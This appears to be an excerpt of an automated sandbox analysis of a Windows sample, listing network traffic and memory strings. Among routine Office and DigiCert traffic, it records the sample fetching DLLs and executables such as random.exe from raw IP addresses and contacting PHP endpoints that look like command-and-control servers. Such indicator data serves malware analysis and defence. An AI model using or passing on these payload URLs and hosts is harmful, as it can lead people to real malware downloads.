Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log9.15.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log9.15.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log9.15.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000000.00000002.2700717988.00000000017D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe.
Source: file.exe, 00000000.00000002.2700717988.000000000175E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2700717988.000000000175E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dlliL
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll0
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllEL
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll=L
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllcJi
Source: file.exe, 00000000.00000002.2730742081.0000000023D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2700717988.000000000175E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2700717988.00000000017D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2387267629.000000000181B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8U
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpHJKKJD.exeata;
Source: file.exe, 00000000.00000002.2730742081.0000000023D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phppresolver.dllr
Source: file.exe, 00000000.00000002.2730742081.0000000023D6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpyI.#
Source: file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/v
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000023.00000002.3412047271.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000023.00000002.3412047271.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpH
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpIu
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpeu
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpyu
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000023.00000002.3412047271.0000000001138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe06238
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1009574001
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b31d
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b31dg
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384760
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeGg
Source: skotes.exe, 00000023.00000002.3412047271.0000000001138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeXL
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeer
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exehp
Source: skotes.exe, 00000023.00000002.3412047271.0000000001138000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exezL
Source: skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/ows
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
